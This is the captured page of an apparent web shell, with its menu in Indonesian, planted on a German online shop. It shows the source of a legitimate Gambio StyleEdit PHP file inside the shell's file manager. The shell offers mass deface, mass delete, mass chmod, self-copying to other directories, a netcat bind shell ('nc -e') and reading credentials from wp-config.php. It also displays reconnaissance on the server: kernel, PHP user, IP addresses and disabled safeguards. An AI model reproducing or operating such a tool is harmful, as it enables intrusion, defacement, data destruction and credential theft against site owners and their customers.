WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/StyleEdit/classes/GMSESecurity.php (4.79 KB)
<?php
	/* --------------------------------------------------------------
	  StyleEdit v2.0
	  Gambio GmbH
	  http://www.gambio.de
	  Copyright (c) 2010 Gambio GmbH
	  --------------------------------------------------------------
	*/

	/*
	*	class to handle the security sessions
	*/
	class GMSESecurity
	{
		function GMSESecurity()
		{
			return;
		}

		/*
		*	function to set the security token in db
		*	@param	string $p_token
		*	@return boolean 
		*/
		function set_sec_token($p_token)
		{
			$t_sec_token = $this->clean_sec_token($p_token);
			if(!empty($t_sec_token))
			{
				if($this->valid_sec_token($t_sec_token) == false)
				{
					mysql_query("
									INSERT
									INTO
										gm_css_style_security
									SET
										gm_css_style_security_token = '" . $t_sec_token . "',
										gm_css_style_security_date	= NOW()
					");
				}
			}
			return;
		}

		/*
		*	function to update the security token in db
		*	@param	string $p_token
		*	@return boolean 
		*/
		function update_sec_token($p_sec_id)
		{
			mysql_query("
							UPDATE
								gm_css_style_security
							SET
								gm_css_style_security_date	= NOW()
							WHERE
								gm_css_style_security_id	= '" . (int)$p_sec_id . "'
			");									
			return;
		}

		/*
		*	function to clean security table in db
		*	@param $p_token
		*/
		function delete_sec_token($p_token = '')
		{
			if($p_token == '')
			{
				$t_query =  mysql_query("
										SELECT 
											gm_css_style_security_id AS id
										FROM
											gm_css_style_security
										WHERE
											UNIX_TIMESTAMP(gm_css_style_security_date)	< (UNIX_TIMESTAMP()-30*60)
				");
			}
			else
			{
				$t_sec_token= $this->clean_sec_token($p_token);
				$t_query	=  mysql_query("
										SELECT 
											gm_css_style_security_id AS id
										FROM
											gm_css_style_security
										WHERE
											gm_css_style_security_token = '" . $t_sec_token . "'
				");
			}

			if(mysql_num_rows($t_query) > 0)
			{
				while($t_row = mysql_fetch_array($t_query, MYSQL_ASSOC))
				{	
					$t_query_history =  mysql_query("
													SELECT 
														gm_css_style_history_id AS id
													FROM
														gm_css_style_history
													WHERE
														gm_css_style_security_id = '" . (int)$t_row['id']  . "'
					");
					
					if(mysql_num_rows($t_query_history) > 0)
					{
						while($t_row_history = mysql_fetch_array($t_query_history, MYSQL_ASSOC))
						{
							mysql_query("
													DELETE
													FROM 
														gm_css_style_history_content
													WHERE
														gm_css_style_history_id = '" . (int)$t_row_history['id'] . "'
							");
						}

						mysql_query("
													DELETE
													FROM 
														gm_css_style_history
													WHERE
														gm_css_style_security_id = '" . (int)$t_row['id']  . "'
						");
					}

					if($p_token == '')
					{
						mysql_query("
										DELETE
										FROM 
											gm_css_style_security
										WHERE
											gm_css_style_security_id = '" . (int)$t_row['id'] . "'
						");
					}
				}				
			}
			return;
		}

		/*
		*	function to valid the security token in db
		*	@param	string $p_token
		*	@return boolean 
		*/
		function valid_sec_token($p_token)
		{
			$t_sec_token	= $this->clean_sec_token($p_token);

			$t_query =  mysql_query("
									SELECT 
										gm_css_style_security_id AS id
									FROM
										gm_css_style_security
									WHERE
										gm_css_style_security_token = '" . $t_sec_token . "'
									AND
										UNIX_TIMESTAMP(gm_css_style_security_date)	>= (UNIX_TIMESTAMP()-30*60)
			");

			if(mysql_num_rows($t_query) > 0)
			{
				$t_row = mysql_fetch_array($t_query, MYSQL_ASSOC);
				$this->update_sec_token($t_row['id']);
				return true;
			}
			else
			{
				return false;
			}
		}

		/*
		*	function to clean the security token
		*	@param	string $p_token
		*	@return string 
		*/
		function clean_sec_token($p_token)
		{
			$t_token = mysql_real_escape_string($p_token);
			
			$t_token = str_replace('|', '', $t_token);
			$t_token = str_replace('/', '', $t_token);
			$t_token = str_replace(',', '', $t_token);
			$t_token = str_replace('.', '', $t_token);
			$t_token = str_replace(' ', '', $t_token);
			
			return $t_token;
		}

		/*
		*	function to get the security token id by the security token
		*	@param	string $p_token
		*	@return string/boolean
		*/
		function get_token_id_by_token($p_token)
		{
			$t_sec_token = $this->clean_sec_token($p_token);
			
			$t_query =  mysql_query("
									SELECT 
										gm_css_style_security_id AS id
									FROM
										gm_css_style_security
									WHERE
										gm_css_style_security_token = '" . $t_sec_token . "' 
			");

			if(mysql_num_rows($t_query) > 0)
			{
				$t_token_id = mysql_fetch_array($t_query);

				return $t_token_id['id'];
			}
			else
			{
				return false;
			}
		}
	}	
?>
namawaktuukuranownerpermaksi
..
GMBoxesMaster.php 2013-11-12 21:107.91 KB 76129f60960:kunden-xw-x-----
edt
GMCSS.php 2013-11-12 21:1022.58 KB 76129f60960:kunden-xw-x-----
edt
GMCSSManager.php 2013-11-12 21:1029.85 KB 76129f60960:kunden-xw-x-----
edt
GMSEAjax.php 2013-11-12 21:1012.35 KB 76129f60960:kunden-xw-x-----
edt
GMSEError.php 2013-11-12 21:101.97 KB 76129f60960:kunden-xw-x-----
edt
GMSEJSON.php 2013-11-12 21:101.6 KB 76129f60960:kunden-xw-x-----
edt
GMSESecurity.php 2013-11-12 21:104.79 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/StyleEdit/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK